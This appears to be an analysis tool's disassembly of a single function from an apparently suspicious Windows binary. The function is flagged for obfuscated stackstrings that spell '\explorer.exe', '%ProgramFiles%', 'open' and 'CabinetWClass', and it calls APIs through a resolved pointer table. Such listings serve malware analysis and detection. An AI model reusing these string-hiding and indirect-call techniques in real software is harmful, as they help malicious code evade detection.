Function at 0x4108d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x248
mov eax, dword [0x4146e4]
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov ebp, ecx
push ebx
push 0x10000000
push 1
lea esi, [ebp + 8]
push ebx
push ebx
push esi
call dword [eax + 0x2c]
cmp eax, ebx
mov dword [ebp + 4], eax
jne 0x410910
mov ecx, dword [0x4146e4]
push pe_nt_image_headers32
push 1
push ebx
push esi
call dword [ecx + 0x28]
mov dword [ebp + 4], eax
mov eax, dword [ebp + 4]
cmp eax, ebx
jne 0x410924
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x248
ret
mov edx, dword [0x4146e4]
push eax
call dword [edx + 0x78]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xa0]
mov dword [esp + 0x9c], ebx
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x155]
mov byte [esp + 0x154], bl
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [0x4146e4]
mov dword [esp + 0xa8], esi
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x158]
mov dword [esp + 0xcc], 1
push eax
mov word [esp + 0xd4], 5
call dword [ecx + 0x9c]
mov al, 0x78
mov byte [esp + 0x28], 0x5c
mov byte [esp + 0x2a], al
mov byte [esp + 0x33], al
mov byte [esp + 0x29], 0x65
mov byte [esp + 0x2b], 0x70
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x72
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x34], 0x65
mov byte [esp + 0x35], bl
mov ecx, 0x104
lea eax, [esp + 0x154]
xor edx, edx
cmp byte [eax], bl
je 0x4109ef
inc eax
dec ecx
jne 0x4109e5
jmp 0x4109f3
cmp ecx, ebx
jne 0x4109f8
mov edx, 0x80070057
lea eax, [esp + 0x10]
test eax, eax
je 0x410a11
cmp edx, ebx
jl 0x410a0d
mov eax, 0x104
sub eax, ecx
jmp 0x410a15
xor eax, eax
jmp 0x410a15
mov eax, dword [esp + 0x10]
cmp edx, ebx
jl 0x410a45
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x154]
je 0x410a45
lea esi, [esp + 0x28]
sub esi, eax
mov cl, byte [esi + eax]
cmp cl, bl
je 0x410a3e
mov byte [eax], cl
inc eax
dec edx
jne 0x410a2f
jmp 0x410a42
cmp edx, ebx
jne 0x410a43
dec eax
mov byte [eax], bl
lea ecx, [esp + 0xe0]
lea edx, [esp + 0x9c]
push ecx
mov ecx, dword [0x4146e4]
push edx
push ebx
push ebx
push 0x200
push ebx
push ebx
lea eax, [esp + 0x170]
push ebx
push eax
push ebx
call dword [ecx + 0xb8]
test eax, eax
jne 0x410a83
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x248
ret
mov edx, dword [0x4146e4]
push 0xbb8
call dword [edx + 0x130]
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0xf1]
mov byte [esp + 0xf0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x25
mov ecx, 0x15
mov byte [esp + 0x38], al
mov byte [esp + 0x45], al
xor eax, eax
lea edi, [esp + 0x47]
mov byte [esp + 0x39], 0x50
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x6f
mov byte [esp + 0x3c], 0x67
mov byte [esp + 0x3d], 0x72
mov byte [esp + 0x3e], 0x61
mov byte [esp + 0x3f], 0x6d
mov byte [esp + 0x40], 0x46
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x65
mov byte [esp + 0x44], 0x73
rep stosd dword es:[edi], eax
mov edx, dword [0x4146e4]
push 0x64
stosb byte es:[edi], al
lea eax, [esp + 0xf4]
lea ecx, [esp + 0x3c]
push eax
push ecx
mov byte [esp + 0x52], bl
call dword [edx + 0x148]
mov edx, dword [0x4146e4]
push 5
push ebx
lea eax, [esp + 0xf8]
push ebx
lea ecx, [esp + 0x1c]
push eax
push ecx
push ebx
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x70
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], bl
call dword [edx + 0x1c]
mov eax, dword [0x4146e4]
push 0xbb8
call dword [eax + 0x130]
mov edx, dword [0x4146e4]
lea ecx, [esp + 0x18]
push ebx
push ecx
mov al, 0x43
push ebx
push ebx
mov byte [esp + 0x28], al
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], 0x62
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6e
mov byte [esp + 0x2d], 0x65
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x2f], 0x57
mov byte [esp + 0x30], al
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x61
mov byte [esp + 0x33], 0x73
mov byte [esp + 0x34], 0x73
mov byte [esp + 0x35], bl
call dword [edx + 0x70]
push ebp
push 0x410830
push eax
mov eax, dword [0x4146e4]
call dword [eax + 0x6c]
mov eax, dword [ebp]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x248
ret